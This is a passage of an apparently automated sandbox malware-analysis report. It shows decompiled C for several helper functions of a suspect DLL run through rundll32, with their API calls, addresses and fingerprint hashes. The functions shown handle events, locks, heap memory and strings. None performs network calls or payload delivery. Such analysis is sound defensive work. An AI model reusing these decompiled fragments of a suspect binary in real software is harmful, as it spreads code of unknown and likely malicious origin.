                  0x04d5787c
                  0x04d5787c
                  0x04d5787a
                  0x04d57893

                  APIs
                  • memset.NTDLL ref: 04D57851
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,74CF81D0,00000000,00000000), ref: 04D57866
                  • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04D57873
                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04D53F34,00000000,?), ref: 04D57885
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: CreateEvent$CloseHandlememset
                  • String ID:
                  • API String ID: 2812548120-0
                  • Opcode ID: c122d9c9ca969a1e6af5d055cc101bea5ca312b2a3d2c3457acc40e1ed392efb
                  • Instruction ID: 9b8a6d9be75d37e77123e5a2c7ac91ce61648aa0a6997873c1595e8f549f9607
                  • Opcode Fuzzy Hash: c122d9c9ca969a1e6af5d055cc101bea5ca312b2a3d2c3457acc40e1ed392efb
                  • Instruction Fuzzy Hash: F4F054F1204308BFD7105F25DCC4C67BF9CEB81298B114D7DF54691121DA75A8098A60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D53230 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D53230() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x4d5a30c; // 0x2c0
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x4d5a35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x4d5a30c; // 0x2c0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x4d5a2d8; // 0x5880000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                  0x04d53230
                  0x04d53237
                  0x04d53281
                  0x04d53283
                  0x04d53283
                  0x04d5323b
                  0x04d53241
                  0x04d53246
                  0x04d5324a
                  0x04d53250
                  0x04d53257
                  0x00000000
                  0x00000000
                  0x04d53259
                  0x04d5325e
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d5325e
                  0x04d53260
                  0x04d53268
                  0x04d5326b
                  0x04d5326b
                  0x04d53271
                  0x04d53278
                  0x04d5327b
                  0x04d5327b
                  0x00000000

                  APIs
                  • SetEvent.KERNEL32(000002C0,00000001,04D5109A), ref: 04D5323B
                  • SleepEx.KERNEL32(00000064,00000001), ref: 04D5324A
                  • CloseHandle.KERNEL32(000002C0), ref: 04D5326B
                  • HeapDestroy.KERNEL32(05880000), ref: 04D5327B
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: CloseDestroyEventHandleHeapSleep
                  • String ID:
                  • API String ID: 4109453060-0
                  • Opcode ID: 7ddce0ade824e23ed415db36e18c1926cecec6f22e17bffcaa44f3c9a9c2c7b1
                  • Instruction ID: e48c017c34dd1eb26f5ca8ab9f40be6de7a6cb1239c4baa59839d14edff8c799
                  • Opcode Fuzzy Hash: 7ddce0ade824e23ed415db36e18c1926cecec6f22e17bffcaa44f3c9a9c2c7b1
                  • Instruction Fuzzy Hash: A3F01CB5B0172197EF105A7AE9A8A4637DCFB047A1B044650BC11E33A0DF38EC409560
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D55364 Relevance: 6.0, APIs: 4, Instructions: 29sleepmemoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 50%
                  			E04D55364(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x4d5a3cc; // 0x5c79600
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x4d5a3cc; // 0x5c79600
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x4d5a030) {
					HeapFree( *0x4d5a2d8, 0, _t8);
				}
				_t13[1] = E04D512C6(_v0, _t13);
				_t10 =  *0x4d5a3cc; // 0x5c79600
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}










                  0x04d55364
                  0x04d55364
                  0x04d5536d
                  0x04d5537d
                  0x04d5537d
                  0x04d55382
                  0x04d55387
                  0x00000000
                  0x00000000
                  0x04d55377
                  0x04d55377
                  0x04d55389
                  0x04d5538d
                  0x04d5539f
                  0x04d5539f
                  0x04d553af
                  0x04d553b2
                  0x04d553b7
                  0x04d553bb
                  0x04d553c1

                  APIs
                  • RtlEnterCriticalSection.NTDLL(05C795C0), ref: 04D5536D
                  • Sleep.KERNEL32(0000000A), ref: 04D55377
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04D5539F
                  • RtlLeaveCriticalSection.NTDLL(05C795C0), ref: 04D553BB
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                  • String ID:
                  • API String ID: 58946197-0
                  • Opcode ID: 234fbf2b7fe1abc36ca7f2a270be5bb9ef2639989f012e6dc392c9e7896fb3cb
                  • Instruction ID: 583b72b5774ef99042538e57d016dc91a7fb52900079c6607d46956f84cb4095
                  • Opcode Fuzzy Hash: 234fbf2b7fe1abc36ca7f2a270be5bb9ef2639989f012e6dc392c9e7896fb3cb
                  • Instruction Fuzzy Hash: 80F0B2B0700352EBFF21ABA8EC79B1A3BA8EF04344B049944A945D6375DE79EC50DA25
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5607C Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E04D5607C() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x4d5a3cc; // 0x5c79600
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x4d5a3cc; // 0x5c79600
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x4d5a3cc; // 0x5c79600
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x4d5b142) {
					HeapFree( *0x4d5a2d8, 0, _t10);
					_t7 =  *0x4d5a3cc; // 0x5c79600
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                  0x04d5607c
                  0x04d56085
                  0x04d56095
                  0x04d56095
                  0x04d5609a
                  0x04d5609f
                  0x00000000
                  0x00000000
                  0x04d5608f
                  0x04d5608f
                  0x04d560a1
                  0x04d560a6
                  0x04d560aa
                  0x04d560bd
                  0x04d560c3
                  0x04d560c3
                  0x04d560cc
                  0x04d560ce
                  0x04d560d2
                  0x04d560d8

                  APIs
                  • RtlEnterCriticalSection.NTDLL(05C795C0), ref: 04D56085
                  • Sleep.KERNEL32(0000000A), ref: 04D5608F
                  • HeapFree.KERNEL32(00000000), ref: 04D560BD
                  • RtlLeaveCriticalSection.NTDLL(05C795C0), ref: 04D560D2
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                  • String ID:
                  • API String ID: 58946197-0
                  • Opcode ID: 9fc8aa44ff66c9edc1ec37b8805fb535a493471647f7363f2b8161dbd904e1a8
                  • Instruction ID: a13e2fb9ed0604b5f6536d04c7690f0542d0885427681cc83be792d68ec4ad3c
                  • Opcode Fuzzy Hash: 9fc8aa44ff66c9edc1ec37b8805fb535a493471647f7363f2b8161dbd904e1a8
                  • Instruction Fuzzy Hash: 1BF0B2B4300311DBFF589F98E879A257BB9EB44305B055649E9069B3A0CE38EC449A24
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D52058 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 58%
                  			E04D52058(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E04D533DC(_t2);
				if(_t34 != 0) {
					_t30 = E04D533DC(_t28);
					if(_t30 == 0) {
						E04D561DA(_t34);
					} else {
						_t39 = _a4;
						_t22 = E04D57AE9(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E04D57AE9(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                  0x04d52058
                  0x04d52062
                  0x04d52064
                  0x04d5206a
                  0x04d5206a
                  0x04d52073
                  0x04d52077
                  0x04d52083
                  0x04d52087
                  0x04d520fb
                  0x04d52089
                  0x04d52089
                  0x04d5208d
                  0x04d52092
                  0x04d52097
                  0x04d520b1
                  0x04d520a0
                  0x04d520a0
                  0x04d520a4
                  0x04d520a7
                  0x04d520ac
                  0x04d520ac
                  0x04d520b6
                  0x04d520de
                  0x04d520e4
                  0x04d520e7
                  0x04d520b8
                  0x04d520ba
                  0x04d520c2
                  0x04d520cd
                  0x04d520d2
                  0x04d520d2
                  0x04d520ee
                  0x04d520f5
                  0x04d520f6
                  0x04d520f6
                  0x04d52087
                  0x04d52106

                  APIs
                  • lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,04D551F7,?,?,?,?,00000102,04D521E7,?,?,74CF81D0), ref: 04D52064
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                    • Part of subcall function 04D57AE9: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04D52092,00000000,00000001,00000001,?,?,04D551F7,?,?,?,?,00000102), ref: 04D57AF7
                    • Part of subcall function 04D57AE9: StrChrA.SHLWAPI(?,0000003F,?,?,04D551F7,?,?,?,?,00000102,04D521E7,?,?,74CF81D0,00000000), ref: 04D57B01
                  • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04D551F7,?,?,?,?,00000102,04D521E7,?), ref: 04D520C2
                  • lstrcpy.KERNEL32(00000000,00000000), ref: 04D520D2
                  • lstrcpy.KERNEL32(00000000,00000000), ref: 04D520DE
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                  • String ID:
                  • API String ID: 3767559652-0
                  • Opcode ID: 346b2fee55e5c139dba09475b0ef02a50469d778eabd520bc5d0e408f05d6f88
                  • Instruction ID: 502ecbfdbff7d14cdb8a79674c4ff9c16d962d233539485de1dd8810b4971c19
                  • Opcode Fuzzy Hash: 346b2fee55e5c139dba09475b0ef02a50469d778eabd520bc5d0e408f05d6f88
                  • Instruction Fuzzy Hash: A4216F71600255EBDF126FA88854A9F7FB8EF05394B144094FD059B221DE35E945CBA1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D55DE4 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D55DE4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E04D533DC(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                  0x04d55df9
                  0x04d55dfd
                  0x04d55e07
                  0x04d55e0c
                  0x04d55e11
                  0x04d55e13
                  0x04d55e1b
                  0x04d55e20
                  0x04d55e2e
                  0x04d55e33
                  0x04d55e3d

                  APIs
                  • lstrlenW.KERNEL32(004F0053,?,74CB5520,00000008,05C79270,?,04D552D0,004F0053,05C79270,?,?,?,?,?,?,04D568B6), ref: 04D55DF4
                  • lstrlenW.KERNEL32(04D552D0,?,04D552D0,004F0053,05C79270,?,?,?,?,?,?,04D568B6), ref: 04D55DFB
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • memcpy.NTDLL(00000000,004F0053,74CB69A0,?,?,04D552D0,004F0053,05C79270,?,?,?,?,?,?,04D568B6), ref: 04D55E1B
                  • memcpy.NTDLL(74CB69A0,04D552D0,00000002,00000000,004F0053,74CB69A0,?,?,04D552D0,004F0053,05C79270), ref: 04D55E2E
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: lstrlenmemcpy$AllocateHeap
                  • String ID:
                  • API String ID: 2411391700-0
                  • Opcode ID: f4be61d7208d482cdc02ac054e690f48465076c0345c2c6cf9e8dbab1392b718
                  • Instruction ID: 8a34bf3ad46aee0122b524f440836004fa8ffc6770bb69e32525e5a40ec548e4
                  • Opcode Fuzzy Hash: f4be61d7208d482cdc02ac054e690f48465076c0345c2c6cf9e8dbab1392b718
                  • Instruction Fuzzy Hash: 17F04F72A00119FBDF11EFE8DC44CCE7BADEF092987114462ED08D7215EA35EA108BA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D57563 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                  Download Yara Rule
                  APIs
                  • lstrlen.KERNEL32(05C79BD0,00000000,00000000,00000000,04D53EF9,00000000), ref: 04D57573
                  • lstrlen.KERNEL32(?), ref: 04D5757B
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • lstrcpy.KERNEL32(00000000,05C79BD0), ref: 04D5758F
                  • lstrcat.KERNEL32(00000000,?), ref: 04D5759A
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                  • String ID:
                  • API String ID: 74227042-0
                  • Opcode ID: c25bbae9b0de782680e61e014b08989a0af9939f5696ba4d3b0b41a313905836
                  • Instruction ID: b4cd720aaa701c9fcd717d8574216be09e0b6bd3fd577036825ccfe7843c15eb
                  • Opcode Fuzzy Hash: c25bbae9b0de782680e61e014b08989a0af9939f5696ba4d3b0b41a313905836
                  • Instruction Fuzzy Hash: 05E01B736017359B8B115BE89C58C5FB76DFF996517040856FA00D3210DF759D0187A5
                  Uniqueness

                  Uniqueness Score: -1.00%